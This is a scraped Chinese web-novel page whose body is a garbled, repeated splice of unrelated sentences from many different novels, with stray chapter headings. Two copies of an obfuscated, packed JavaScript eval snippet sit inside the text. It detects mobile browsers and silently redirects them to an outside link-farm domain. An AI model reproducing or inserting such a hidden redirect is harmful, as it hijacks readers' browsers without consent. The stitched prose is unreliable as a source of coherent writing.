四周的雅间看着这帮如此热闹,不禁都开始朝此处张望,好事的还假装有事路过往里瞧了瞧。鸿运当头的雅间,一时间成为了这片地区最热议的话题。 仿佛黑暗中的一点曙光,虽微不足道,但无异是压塌骆驼的最后一根稻草。 面对不怒自威的穆辰,她不敢语气轻亵,毕竟他是同闻兴一同前来,想来有些地位。 郇互古怪地看着他,随即想到了什么,脸色一变,把右手背在身后。 “好辣!好久没吃,还真是有些不习惯了。”子君伸了伸舌头,用手在嘴前扇了扇,不知道是要赶走辣味还是要赶走此刻的感动,他竟然还记得自己最爱吃麻辣烫里的海带。 她也是在大街那家美发店上班后一段时间才发现的,因为老板给员工租的房子就在这条街的楼上。这条街楼上的出租屋里租住的人形形**,做正经营生的就没几个。但那时候她身上没钱,有免费的地方住,她没得选。 23级的**蜂属性比八月虎要强上很多,但对李青云他们这只质量超高的队伍来说,不过是拉的怪多一只少一只而已。 技能依旧是三个,除了光盾是2级以外其余技能依旧是1级。系统也没有给出这些技能升级所需要的条件,陈尘也是没办法。 不过猎者联盟虽然不能明面上支援木雪猎所,猎王这种资源,但是两名猎**师还是可以的。 但事已至此,姜峰已经闯了祸,就算补救都来不及,只能听天由命。 陈尘也是恍然大悟,两人立刻达成一致,决定走第二个选择。这也符合陈尘的心意,他可是恨透了这**的保全所。 用处真的不大,作为一中回馈社会的心理,姜沫沫想要为了社会做一些事情,尤其她的钱财现在来的容易,当然等以后科技发达了,监控随处可见的时候,她也不会随随便便使用扣扣空间了。 的确,上一次是因为霍思梦的身份地位不行,再加上脸上有伤,外面还有传言,但她又能高超到哪里,只要脸一毁,就等于毁所有。 因为仙力的回归,吴芙琦被打一拳出现的损伤立即好了,毕竟变回了仙躯,没有点福利可不行。 也幸亏现在是中午,并不是晚上睡觉高峰期,大约有二三十号人的样子,全都**在走廊里议论纷纷。 所要面临的敌人真的是太恐怖了。 众人都露出疑惑不解的神色,毕竟武者是无须向一个世俗界郡王下跪的,他们只拜天跪父母,至于郡王,他们完全可以无视。 虽然大家都了解了游戏规则,但是毕竟是第一次玩,没什么经验,也只能便宜了白琉璃这个老奸巨猾。 在世界上,死亡无疑是一种恐惧,但还有另外一种深层恐惧,就是自己最在乎最重视的事情被剥夺。 齐泰表情有些尴尬,道盟的人手不管在哪个省都不是很充足的,而在本省就更是了,就拿他这县来说,他这一个县除了他之外,就只有这四个年轻下属了,许多事情都还要请当地玄学界的人出手帮忙。 先是受害者的涌现,从数字“三”一路攀升到四十一名也还没有能够停止脚步——这才仅仅是目前已知的情况,时间跨度长达八年,而且涉嫌的加害者也不止一名。 过了半晌,池月正要询问是否可以前行,却听前方有一急切的马蹄声,向着他们这边奔驰而来。 废弃厂房内消失的人,不断出现在南临市内,肯定是想做什么,特别是白川看到那张黑手绢后,就放弃调查废弃厂房。 四周的雅间看着这帮如此热闹,不禁都开始朝此处张望,好事的还假装有事路过往里瞧了瞧。鸿运当头的雅间,一时间成为了这片地区最热议的话题。 仿佛黑暗中的一点曙光,虽微不足道,但无异是压塌骆驼的最后一根稻草。 面对不怒自威的穆辰,她不敢语气轻亵,毕竟他是同闻兴一同前来,想来有些地位。 郇互古怪地看着他,随即想到了什么,脸色一变,把右手背在身后。 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用处真的不大,作为一中回馈社会的心理,姜沫沫想要为了社会做一些事情,尤其她的钱财现在来的容易,当然等以后科技发达了,监控随处可见的时候,她也不会随随便便使用扣扣空间了。 的确,上一次是因为霍思梦的身份地位不行,再加上脸上有伤,外面还有传言,但她又能高超到哪里,只要脸一毁,就等于毁所有。 因为仙力的回归,吴芙琦被打一拳出现的损伤立即好了,毕竟变回了仙躯,没有点福利可不行。 也幸亏现在是中午,并不是晚上睡觉高峰期,大约有二三十号人的样子,全都**在走廊里议论纷纷。 所要面临的敌人真的是太恐怖了。 众人都露出疑惑不解的神色,毕竟武者是无须向一个世俗界郡王下跪的,他们只拜天跪父母,至于郡王,他们完全可以无视。 虽然大家都了解了游戏规则,但是毕竟是第一次玩,没什么经验,也只能便宜了白琉璃这个老奸巨猾。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477387|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在世界上,死亡无疑是一种恐惧,但还有另外一种深层恐惧,就是自己最在乎最重视的事情被剥夺。 齐泰表情有些尴尬,道盟的人手不管在哪个省都不是很充足的,而在本省就更是了,就拿他这县来说,他这一个县除了他之外,就只有这四个年轻下属了,许多事情都还要请当地玄学界的人出手帮忙。 先是受害者的涌现,从数字“三”一路攀升到四十一名也还没有能够停止脚步——这才仅仅是目前已知的情况,时间跨度长达八年,而且涉嫌的加害者也不止一名。 过了半晌,池月正要询问是否可以前行,却听前方有一急切的马蹄声,向着他们这边奔驰而来。 废弃厂房内消失的人,不断出现在南临市内,肯定是想做什么,特别是白川看到那张黑手绢后,就放弃调查废弃厂房。 四周的雅间看着这帮如此热闹,不禁都开始朝此处张望,好事的还假装有事路过往里瞧了瞧。鸿运当头的雅间,一时间成为了这片地区最热议的话题。 仿佛黑暗中的一点曙光,虽微不足道,但无异是压塌骆驼的最后一根稻草。 面对不怒自威的穆辰,她不敢语气轻亵,毕竟他是同闻兴一同前来,想来有些地位。 郇互古怪地看着他,随即想到了什么,脸色一变,把右手背在身后。 “好辣!好久没吃,还真是有些不习惯了。”子君伸了伸舌头,用手在嘴前扇了扇,不知道是要赶走辣味还是要赶走此刻的感动,他竟然还记得自己最爱吃麻辣烫里的海带。 她也是在大街那家美发店上班后一段时间才发现的,因为老板给员工租的房子就在这条街的楼上。这条街楼上的出租屋里租住的人形形**,做正经营生的就没几个。但那时候她身上没钱,有免费的地方住,她没得选。 23级的**蜂属性比八月虎要强上很多,但对李青云他们这只质量超高的队伍来说,不过是拉的怪多一只少一只而已。 技能依旧是三个,除了光盾是2级以外其余技能依旧是1级。系统也没有给出这些技能升级所需要的条件,陈尘也是没办法。 不过猎者联盟虽然不能明面上支援木雪猎所,猎王这种资源,但是两名猎**师还是可以的。 但事已至此,姜峰已经闯了祸,就算补救都来不及,只能听天由命。 陈尘也是恍然大悟,两人立刻达成一致,决定走第二个选择。这也符合陈尘的心意,他可是恨透了这**的保全所。 用处真的不大,作为一中回馈社会的心理,姜沫沫想要为了社会做一些事情,尤其她的钱财现在来的容易,当然等以后科技发达了,监控随处可见的时候,她也不会随随便便使用扣扣空间了。 的确,上一次是因为霍思梦的身份地位不行,再加上脸上有伤,外面还有传言,但她又能高超到哪里,只要脸一毁,就等于毁所有。 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“好辣!好久没吃,还真是有些不习惯了。”子君伸了伸舌头,用手在嘴前扇了扇,不知道是要赶走辣味还是要赶走此刻的感动,他竟然还记得自己最爱吃麻辣烫里的海带。 她也是在大街那家美发店上班后一段时间才发现的,因为老板给员工租的房子就在这条街的楼上。这条街楼上的出租屋里租住的人形形**,做正经营生的就没几个。但那时候她身上没钱,有免费的地方住,她没得选。 23级的**蜂属性比八月虎要强上很多,但对李青云他们这只质量超高的队伍来说,不过是拉的怪多一只少一只而已。 技能依旧是三个,除了光盾是2级以外其余技能依旧是1级。系统也没有给出这些技能升级所需要的条件,陈尘也是没办法。 不过猎者联盟虽然不能明面上支援木雪猎所,猎王这种资源,但是两名猎**师还是可以的。 但事已至此,姜峰已经闯了祸,就算补救都来不及,只能听天由命。 陈尘也是恍然大悟,两人立刻达成一致,决定走第二个选择。这也符合陈尘的心意,他可是恨透了这**的保全所。 用处真的不大,作为一中回馈社会的心理,姜沫沫想要为了社会做一些事情,尤其她的钱财现在来的容易,当然等以后科技发达了,监控随处可见的时候,她也不会随随便便使用扣扣空间了。 的确,上一次是因为霍思梦的身份地位不行,再加上脸上有伤,外面还有传言,但她又能高超到哪里,只要脸一毁,就等于毁所有。 因为仙力的回归,吴芙琦被打一拳出现的损伤立即好了,毕竟变回了仙躯,没有点福利可不行。 也幸亏现在是中午,并不是晚上睡觉高峰期,大约有二三十号人的样子,全都**在走廊里议论纷纷。 第一卷 第180章 夜夜与她的尸身同眠 又是一声巨雷落地,不渝吓得抖了一下,修缘下意识的握住她的手。 莫愁睁开眼睛,真正的巨大九尾狐救了她,莫愁坐了起来,看着九尾狐扑到另一只狐狸。 只是他浑身肌肉处于紧张状态,脸部亦是如此,笑容略显得有些僵硬,否则以他这中老兵油子,定会表露出若无其事的样子。 这七天來,易阳早出晚归,一直忙着踩点,摸索刀爷的生活规律,很辛苦,但努力总算沒有白费,他基本上摸清了刀爷的喜好和外出的时间,以及别墅内的监控和岗哨的分布情况。 不过也罢,她也确实没那个能力去报答他,就好像今天这事,如果是易地而处,身陷险境的是他而不是自己,那她也会像他一样奋不顾身地去救他吗? 有钱不想赚的除了新人那也是只有**了,新人是没能力把握住这样一个大客户,而**想来那也就是只能说是**了,毕竟连钱都不想赚除了这个理由中年人也是想不到别的。 毕竟这样的力道也实在是大了些,而当铁门是撞在了衣橱上的那一刻,整张房门也是不禁是砰的一声掉落了,只是由于是倚着衣橱掉落,所以在门板非但没有飞进房内反而是倚着壁橱将秦天的前路给挡住了。 “你就派几个身手厉害的人保护静怡,只要在暗中就可以,同时我和她的关系暂时不要传出去,我不想她的生活受到干扰,一切就按照原來的轨迹。”萧晨沉声道,他不想因此干扰到沈静怡以后的生活。 但若是能够完全作用在敌人的身上,这套**绝对不输给玄阶中级的法术。 这些造型美观,晶莹剔透的玻璃制品,无疑更显得高端大气上档次。 曾经的天地吊车尾,白丁才气,九年义务教育,淬体境皮肉层次,**未遂。 李秀芳弯下腰,两手抱着一截木头转了一下,就听到草棚内陆丁怡伴随着惊叫声,咕咚一声掉进粪水里的声音。 虽然说舒楠并没有口头上说出来,但是其实事实上表现出来的,就已经完全确定了这一切。 “好。”陆湛由着她,反正往后陆家也得是她在做主,后宅的事情,都是沈曼曼一手操心。 没办法,就只能让御剑响夜意识到与神明为敌的严重性了不是吗? 这个摄影需要一个很强的处理能力,其实本来都是很多美好的事,也是转瞬即逝的这个瞬间,只是那个 瞬间而已。 林大石也是担心弟弟真的找县太爷主持公道,吃了亏,提醒一番,让他心里有个数。 舒楠把这一切都归结于真的是可能还没有睡好的缘故,所以才会是这种觉得,她真的是不能够再这样去想了。 **又委屈地看了看张麒麟,但她还是选择相信张麒麟,毕竟在她心里,龙帝的选择都是对的。 此时身后喊杀声响起,数十个搜查官怒吼着朝李灵一冲来,两人间的谈话难以再继续下去。李灵一朝真户晓摇摇头,转身朝着另一个方向掠去。 良久,未知天空上,一个传送门开启,李灵一的身影投入其中,下一刻便消失不见。 “太厉害了,有空教教我怎么弄。”刘婼英也举起大拇指,刚才神奇的一幕真的让她非常震撼。 至于李灵一将来会不守诺言,其实曼斯此时也是没什么所谓了。要是到时不遵守,那凭借这支大军就能把野人屠光,所以说说谎的意义并不是很大。 而罗毅作为潜入者,自然不可能去碧水教会 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只见悟空直起身子鼻子还在不停的翕动着,一会儿东闻闻一会儿西闻闻,忽然眼睛一亮便朝着一丛灌木当中钻了过去。 朱刚烈话还没说完,已经再说不下去了,只因为曲青烟从怀里掏出了一样东西来,那是一片如同翡翠般晶莹的柳叶,上面散发着温和如春风,却又玄妙如幽谷一般的气势。 班长接过副班长递过来的烧鸡,带上手套后开始美滋滋的享用手里的烧鸡。 “不行,今天说什么也要将周天龙拉拢过来!否则的话,他日一定会成为我辉日帝国的心腹大患!”毛利志的脸色无比凝重,暗暗下定决心。 第一卷 第181章 皇上就让她入土为安吧! 轻柔的纱幔因着两人的靠近微微飘浮,徐清盏伸出手,手指颤颤将纱幔撩开。 那具盖着白布的躯体便无比清晰地跃入眼帘。 徐清盏心脏一阵紧缩,转头闭目,竟是没有勇气再看。 傅云晔开出的条件,确实诱人无比。明槿舒半晌都没有说话,似乎在思考。 宁世景眉头猝起,收了风鸣剑:“恭候大驾!”只是,他此前被灼伤的伤口已经将袖口染成了暗红色,铺天盖地的眩晕而来,他极力强忍着,向皇帝跑过去。 秦子栋听说赵新英找他时,心里一阵错愕,紧接着便想起了当初她握着他手不放,以及她伤心地哭着跑走时的情形,等见到她时,神色便有些尴尬,说话就有点疏离客气。 虽说是栾青先伤了华盛,但相府之兵强攻了护星候府也是事实,夜南山只要咬住华盛意图不轨,华忠带兵袭击侯府这个点,夜南山就起码能占住一半以上的理。 不过,虽然进化等级已经不算太低,可柳父柳母还根本无法熟练使用能量,这让他们离拥有自保之力还有着一段距离要走。 多年的战友兄弟情不是那么轻易就真能消失得一干二净的,更何况他们两人在这个世界上仅存的战友,很可能都只是对方了。 锦城**地里面别的东西不多,帐篷这种物资倒是着实不少,这也是机缘巧合。 怎么感觉气氛不对劲?穆涟依舔舔唇瓣,干咳一声,打破沉默:“你俩可别给我内讧,至于白月湘,慢慢来吧,今日欠我的,迟早都会讨回来,好了好了,没事了,都回去吧。”明明是来安慰她的,怎么忽然就要翻脸了? 开口声音有些哑,却让姜然有些意外的,她把自己的情绪控制的很好,即便是这边,牙齿要在嘴唇上,马上就要出血了,但是只听声音的话,却丝毫听不出她的异样来。 彼时,她不过是掀开盖头望了望外面,以确定是不是在做梦,就被大惊失色的糖儿连声制止,说盖头必须在拜堂后由她的夫君亲手挑起,自行掀开可是大不吉利。 白天寒大 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坐在他身边的是其中一位投资方是个中年男人看起来倒是儒雅有礼。 “回头我让那家公司的负责人跟你联系你喜欢的话那家公司以后就是你的了。”想到以后家族的产业都要给孩子简祥忠自然是更加希望孩子能够早点涉及。 简依依觉得她应该尽量的跟这个时代的保持一些距离以免产生羁绊到时候真的要离开这里的话估计会很舍不得的吧? “明白了吗?这可是我好不容易才弄到的资料拿下它搞出属于开山农业公司的极品冰酒品牌然后向下发展再打造我们的冰酒品牌的中低端产品。 后者闷哼一声脸露痛苦之色发觉浑身胀痛灵气混乱有种痛不欲生之感身体仿佛要炸裂似的。当下松开了双手捂住胸口逃出了数米疗伤去了。 “这里这么多道门不知门背后都是些什么?”墨凌沁来到一排不同颜色代表的石门前面问道。 而另外两部分却集中看那架势似乎想要从左右来夹击目标的她。 “何丞施我来了!”江映月对着烂尾楼大喊了几声暗处出现了几个男人 “闭嘴不然我直接把你扔下去!”秦溪看傅靳城的车刚走其他两辆车就追上了立刻也追了出去。 一进客厅慧心就觉得气氛有些不对劲而林镇南更是愁容满面。 随着赵青声音落下一位身材比裴虎还要魁梧震撼的汉子提着手中那巨大的环扣刀走了出来刀尖直指赵青沉声道。 按照门规偷学是要被处罚的张夜吓得大气不敢喘害怕被师姐察觉到自己偷练太长拳。 “你搬家了?在韩家搬出来了?”李天皱眉狐疑的瞅着韩雪问道。 “可是持续了百年我也知道了问题不是我简单想象的那样。只不过具体为什么我还真不清楚。”奥力一脸的惆怅只不过低头之时那眸子之中一道精光含糊的闪烁了一下。 把叶天扶到沙发上坐好安娜解开包扎在伤口上的布条你感觉怎么样。她一边检查着伤口一边问道。 那一晚她赤裸着双足和他相见。他心底最深处的渴望便被惊鸿一见的纤足勾了出来。在无人的暗夜里不知多少次幻想过细细的紧握抚摸。这一刻终于如愿以偿。 张艳红着脸迅速跑开留下杨不 凡看着她走进屋的背景,心中杂乱无章。 梦蝴芝摇了摇头,旋即把目光放在了凌乾的身上,从她的感觉中,如今凌乾的实力正在以一种肉眼可见的速度增长着,或许过不了多久便能碰到那突破的瓶颈,最终到底能不能突破,就要看凌乾自己的实力了。 现在李天真的开始怀疑令狐泽的智商了,令狐泽长得这是什么脑袋,简直就跟木鱼一样,什么都不懂。 “倒是没怎么耽误我,主要是我爸那边的事情比较多,要不然我今天不可能迟到我跟你说张哥……”对面的人同样有些无语的一句。 他的手臂那么明显地颤抖着,心跳声惊天动地的响在她耳边,身上没有了她熟悉的清冽的烟草味,取而代之的是浓浓地硝烟味道,他的手臂那么用力地抱着她,仿佛要将她嵌进身体里,以至于他身前的武装带磕得她生疼。 “大将军所做之事,你们还做不得吗,三个男子竟不如大将军一人有魄力?”霍显话是这么说,可如今哪里能与霍光那时相比的,霍禹、霍云、霍山几人依旧惊慌。 谁知道炼器盛会上会发生什么,林辰必须得为自己的安全提供足够的保障。 听他们二人说后我有一点放心了,但还是有些担心,我宁愿师姐一辈子不认我也不想看见她今后在大牢里蹲一辈子。 霍成君犹豫些许后,“幽朦,只要有我在,不会让这后宫再添无辜冤魂,你且放心!”这是霍成君的承诺与保证,可是她却不知这一句话会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489917|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深信的又有几人。 好多同事都沉默了,也不知道他们现在在想些什么,更不知道他们会不会接受我这个不管在情感上还是事业上曾经都失败的总经理。 “你说他就这么**,他甘心吗?”我抬头看着刘瑞声音颤抖的问道。 催归曲,一唱一愁予。有剑卖来酤酒吃,无钱归去买山居。安处即吾庐。 “不要急,慢慢来。”马龙顺势搂住夭夭无助的肩膀给予她安慰。 “幽冥邪将,本尊也来会一会你,我们三大神将,不信对付不了你这幽冥界之中的一个鬼物!”羿神将的声音赫然响起。 凌孟祈一直目送主仆二人的背影消失在视线当中后,才也闪身出了假山,不疾不徐回了花厅里。 而君倾则早已经听到了他的那番内心独白,当即眼睛更是微微的眯起来了,瞳孔漆黑深邃,几乎是让人看不到底。 尽管蓝翎现在已经是僵持着,无法插手战斗,但她还是觉得,不把蓝翎给弄下场,她心里的不安就越发的扩大。 昨天采访中她说的那句是她很重要的人,还有今天采访中说只跟传绯闻,彻底点燃了宇皓宸心中的那把火。 风颜夕在一边看着,又与一旁一直不说话的弯弯交换个眼神,无奈的摇摇头:许昌真不是男人待的地方,龙阳都会传染了。 卿四郎看向卿姑娘的眼神一如既往的温柔透着几分为人父的慈爱,卿九和卿君炙两人的表情一如既往的平静,仿佛根本没有看到卿姑娘的所作所为一般。 两手握拳,朝着身前直击过去,汹涌澎湃的红蓝双色拳力冲袭上那些鬼魂的躯体,仅仅只是瞬间的触碰,就让那些鬼魂尖唳着惨叫着,爆成了碎片。 此时,海主的目光顿了一下之后,然后就将目光转向了下方,便在下方,拥有着一股强悍的气息,海主此刻认定,沈傲天便隐匿在下方。 第一卷 第183章 她心里当真是不念他半分好吗? 徐清盏上下打量他,灰暗的眼神没有一丝波动:“孙公公何出此言?江美人的骨灰不都已经被皇上锁起来了吗? 皇上若真不信,怎会将她如此珍重地锁起来? 秦如娟说的话看似句句肺腑,老泪纵横的模样的确让不少人将怀疑的目光都看向了凌素。 顾萌唱黑脸,宋熙铭唱白脸,一个巴掌一个糖,唱足了好戏后,顾萌亲昵的挽着宋熙铭的手,从记者的面前离开,从容不迫的走进会场。 宋依依见他如此模样,心中感慨,上辈子她见过很多这样的教授,德高望重,也有不少这样的同学,对知识的重视和执着是他们的共同点。 但是现在,在着母亲康复之后,筑岛伦才是感觉到了真正的浅葱,对此她的心中早已经被高兴的情绪所填满,所以并没有多想些别的什么。 姜清婉偷偷地挪到门前,破旧的木门虚掩着,她可以透过门缝看到里面的情形。 在那由一整块光滑无瑕,反射晶光的不知材料的巨大平坦的石头上面,赫然有着一方晶莹的玻璃柜,玻璃柜正方形,左右大约三米,仔细一瞧,在那晶莹剔透的玻璃柜之中,赫然是悬空漂浮着一柄长剑。 咚咚咚,赵福昕敲了几下大牛的房门还是没反应,干脆推门而入。只见大牛躺在床上看着房顶,看来是余气未消,赵福昕关上房门来到大牛身边。 辰星礼貌地请那位年轻的僧人去通报了一下,不一会儿的工夫,这位法师便马上出来笑脸相迎,看那亲切友好的态度,佩月月感觉他与辰星交情匪浅。 而顾萌看着李泽律,只是勉强的笑了笑。在李泽律进‘门’的那一刻,顾萌就已经醒了过来。 算了,既然魔王大人执意要去的话,自己还是不要作死比较好了。 城池当中的众人,他们听闻此话,表情都猛然一愣,紧接着,在他们的脸上便都露出了狂喜之色了。 周末晚上,赵健在外面兼职完后回到宿舍就被刘阳二人拉着讨论下一步行动。 可是马上他就笑不出来了,这货打了半天好像没受伤一样,倒是自己速度开始慢下来了,伤势也由轻变重了,这下林豹开始慌了。 至于这两位无辜的死者,他心中报以同情,却是没有任何歉意,生死有命富贵在天,赶上了这档子事儿,也只能算他们倒霉。 “接着谈呗。领导现在还不想翻脸,和和气气的谈呗。”鲍昂十分无奈。 他伸出舌头舔了舔嘴唇,打算下楼去拿瓶水,随便再带些吃的上来。 “希望不要下雨吧,”大飞看这天色,感觉也是有可能会下雨的样子,不过冬日的天气大多都是这种灰蒙蒙地感觉,让人摸不透它到底要不要下雨。 男子放开了她,坐在对面,说道:我的名字呢,齐少恒,齐家少主,你好,雪薇。 而且这份杀气的指向非常明显,明显就是冲着唐尘和克拉丽丝来的,难道是因为这里只有他们才是外来者!? 紫金洞的考核,想要进入紫金洞的核心区域听起来倒也简单,只需在外围猎取不同等级的傀儡兽就可以。 赤光大作,冲起二丈开外,赤光一闪而逝,此刻玄穹宫中已无了紫河老祖身影。 徐清盏上下打量他,灰暗的眼神没有一丝波动:“孙公公何出此言?江美人的骨灰不都已经被皇上锁起来了吗? 皇上若真不信,怎会将她如此珍重地锁起来? 秦如娟说的话看似句句肺腑,老泪纵横的模样的确让不少人将怀疑的目光都看向了凌素。 顾萌唱黑脸,宋熙铭唱白脸,一个巴掌一个糖,唱足了好戏后,顾萌亲昵的挽着宋熙铭的手,从记者的面前离开,从容不迫的走进会场。 宋依依见他如此模样,心中感慨,上辈子她见过很多这样的教授,德高望重,也有不少这样的同学,对知识的重视和执着是他们的共同点。 但是现在,在着母亲康复之后,筑岛伦才是感觉到了真正的浅葱,对此她的心中早已经被高兴的情绪所填满,所以并没有多想些别的什么。 姜清婉偷偷地挪到门前,破旧的木门虚掩着,她可以透过门缝看到里面的情形。 在那由一整块光滑无瑕,反射晶光的不知材料的巨大平坦的石头上面,赫然有着一方晶莹的玻璃柜,玻璃柜正方形,左右大约三米,仔细一瞧,在那晶莹剔透的玻璃柜之中,赫然是悬空漂浮着一柄长剑。 咚咚咚,赵福昕敲了几下大牛的房门还是没反应,干脆推门而入。只见大牛躺在床上看着房顶,看来是余气未消,赵福昕关上房门来到大牛身边。 辰星礼貌地请那位年轻的僧人去通报了一下,不一会儿的工夫,这位法师便马上出来笑脸相迎,看那亲切友好的态度,佩月月感觉他与辰星交情匪浅。 而顾萌看着李泽律,只是勉强的笑了笑。在李泽律进‘门’的那一刻,顾萌就已经醒了过来。 算了,既然魔王大人执意要去的话,自己还是不要作死比较好了。 城池当中的众人,他们听闻此话,表情都猛然一愣,紧接着,在他们的脸上便都露出了狂喜之色了。 周末晚上,赵健在外面兼职完后回到宿舍就被刘阳二人拉着讨论下一步行动。 可是马上他就笑不出来了,这货打了半天好像没受伤一样,倒是自己速度开始慢下来了,伤势也由轻变重了,这下林豹开始慌了。 至于这两位无辜的死者,他心中报以同情,却是没有任何歉意,生死有命富贵在天,赶上了这档子事儿,也只能算他们倒霉。 “接着谈呗。领导现在还不想翻脸,和和气气的谈呗。”鲍昂十分无奈。 他伸出舌头舔了舔嘴唇,打算下楼去拿瓶水,随便再带些吃的上来。 “希望不要下雨吧,”大飞看这天色,感觉也是有可能会下雨的样子,不过冬日的天气大多都是这种灰蒙蒙地感觉,让人摸不透它到底要不要下雨。 男子放开了她,坐在对面,说道:我的名字呢,齐少恒,齐家少主,你好,雪薇。 而且这份杀气的指向非常明显,明显就是冲着唐尘和克拉丽丝来的,难道是因为这里只有他们才是外来者!? 紫金洞的考核,想要进入紫金洞的核心区域听起来倒也简单,只需在外围猎取不同等级的傀儡兽就可以。 赤光大作,冲起二丈开外,赤光一闪而逝,此刻玄穹宫中已无了紫河老祖身影。 徐清盏上下打量他,灰暗的眼神没有一丝波动:“孙公公何出此言?江美人的骨灰不都已经被皇上锁起来了吗? 皇上若真不信,怎会将她如此珍重地锁起来? 秦如娟说的话看似句句肺腑,老泪纵横的模样的确让不少人将怀疑的目光都看向了凌素。 顾萌唱黑脸,宋熙铭唱白脸,一个巴掌一个糖,唱足了好戏后,顾萌亲昵的挽着宋熙铭的手,从记者的面前离开,从容不迫的走进会场。 宋依依见他如此模样,心中感慨,上辈子她见过很多这样的教授,德高望重,也有不少这样的同学,对知识的重视和执着是他们的共同点。 但是现在,在着母亲康复之后,筑岛伦才是感觉到了真正的浅葱,对此她的心中早已经被高兴的情绪所填满,所以并没有多想些别的什么。 姜清婉偷偷地挪到门前,破旧的木门虚掩着,她可以透过门缝看到里面的情形。 在那由一整块光滑无瑕,反射晶光的不知材料的巨大平坦的石头上面,赫然有着一方晶莹的玻璃柜,玻璃柜正方形,左右大约三米,仔细一瞧,在那晶莹剔透的玻璃柜之中,赫然是悬空漂浮着一柄长剑。 咚咚咚,赵福昕敲了几下大牛的房门还是没反应,干脆推门而入。只见大牛躺在床上看着房顶,看来是余气未消,赵福昕关上房门来到大牛身边。 辰星礼貌地请那位年轻的僧人去通报了一下,不一会儿的工夫,这位法师便马上出来笑脸相迎,看那亲切友好的态度,佩月月感觉他与辰星交情匪浅。 而顾萌看着李泽律,只是勉强的笑了笑。在李泽律进‘门’的那一刻,顾萌就已经醒了过来。 算了,既然魔王大人执意要去的话,自己还是不要作死比较好了。 城池当中的众人,他们听闻此话,表情都猛然一愣,紧接着,在他们的脸上便都露出了狂喜之色了。 周末晚上,赵健在外面兼职完后回到宿舍就被刘阳二人拉着讨论下一步行动。 可是马上他就笑不出来了,这货打了半天好像没受伤一样,倒是自己速度开始慢下来了,伤势也由轻变重了,这下林豹开始慌了。 至于这两位无辜的死者,他心中报以同情,却是没有任何歉意,生死有命富贵在天,赶上了这档子事儿,也只能算他们倒霉。 “接着谈呗。领导现在还不想翻脸,和和气气的谈呗。”鲍昂十分无奈。 他伸出舌头舔了舔嘴唇,打算下楼去拿瓶水,随便再带些吃的上来。 “希望不要下雨吧,”大飞看这天色,感觉也是有可能会下雨的样子,不过冬日的天气大多都是这种灰蒙蒙地感觉,让人摸不透它到底要不要下雨。 男子放开了她,坐在对面,说道:我的名字呢,齐少恒,齐家少主,你好,雪薇。 而且这份杀气的指向非常明显,明显就是冲着唐尘和克拉丽丝来的,难道是因为这里只有他们才是外来者!? 紫金洞的考核,想要进入紫金洞的核心区域听起来倒也简单,只需在外围猎取不同等级的傀儡兽就可以。 赤光大作,冲起二丈开外,赤光一闪而逝,此刻玄穹宫中已无了紫河老祖身影。 徐清盏上下打量他,灰暗的眼神没有一丝波动:“孙公公何出此言?江美人的骨灰不都已经被皇上锁起来了吗? 皇上若真不信,怎会将她如此珍重地锁起来? 秦如娟说的话看似句句肺腑,老泪纵横的模样的确让不少人将怀疑的目光都看向了凌素。 顾萌唱黑脸,宋熙铭唱白脸,一个巴掌一个糖,唱足了好戏后,顾萌亲昵的挽着宋熙铭的手,从记者的面前离开,从容不迫的走进会场。 宋依依见他如此模样,心中感慨,上辈子她见过很多这样的教授,德高望重,也有不少这样的同学,对知识的重视和执着是他们的共同点。 但是现在,在着母亲康复之后,筑岛伦才是感觉到了真正的浅葱,对此她的心中早已经被高兴的情绪所填满,所以并没有多想些别的什么。 姜清婉偷偷地挪到门前,破旧的木门虚掩着,她可以透过门缝看到里面的情形。 在那由一整块光滑无瑕,反射晶光的不知材料的巨大平坦的石头上面,赫然有着一方晶莹的玻璃柜,玻璃柜正方形,左右大约三米,仔细一瞧,在那晶莹剔透的玻璃柜之中,赫然是悬空漂浮着一柄长剑。 咚咚咚,赵福昕敲了几下大牛的房门还是没反应,干脆推门而入。只见大牛躺在床上看着房顶,看来是余气未消,赵福昕关上房门来到大牛身边。 辰星礼貌地请那位年轻的僧人去通报了一下,不一会儿的工夫,这位法师便马上出来笑脸相迎,看那亲切友好的态度,佩月月感觉他与辰星交情匪浅。 而顾萌看着李泽律,只是勉强的笑了笑。在李泽律进‘门’的那一刻,顾萌就已经醒了过来。 算了,既然魔王大人执意要去的话,自己还是不要作死比较好了。 城池当中的众人,他们听闻此话,表情都猛然一愣,紧接着,在他们的脸上便都露出了狂喜之色了。 周末晚上,赵健在外面兼职完后回到宿舍就被刘阳二人拉着讨论下一步行动。 可是马上他就笑不出来了,这货打了半天好像没受伤一样,倒是自己速度开始慢下来了,伤势也由轻变重了,这下林豹开始慌了。 至于这两位无辜的死者,他心中报以同情,却是没有任何歉意,生死有命富贵在天,赶上了这档子事儿,也只能算他们倒霉。 “接着谈呗。领导现在还不想翻脸,和和气气的谈呗。”鲍昂十分无奈。 他伸出舌头舔了舔嘴唇,打算下楼去拿瓶水,随便再带些吃的上来。 “希望不要下雨吧,”大飞看这天色,感觉也是有可能会下雨的样子,不过冬日的天气大多都是这种灰蒙蒙地感觉,让人摸不透它到底要不要下雨。 男子放开了她,坐在对面,说道:我的名字呢,齐少恒,齐家少主,你好,雪薇。 而且这份杀气的指向非常明显,明显就是冲着唐尘和克拉丽丝来的,难道是因为这里只有他们才是外来者!? 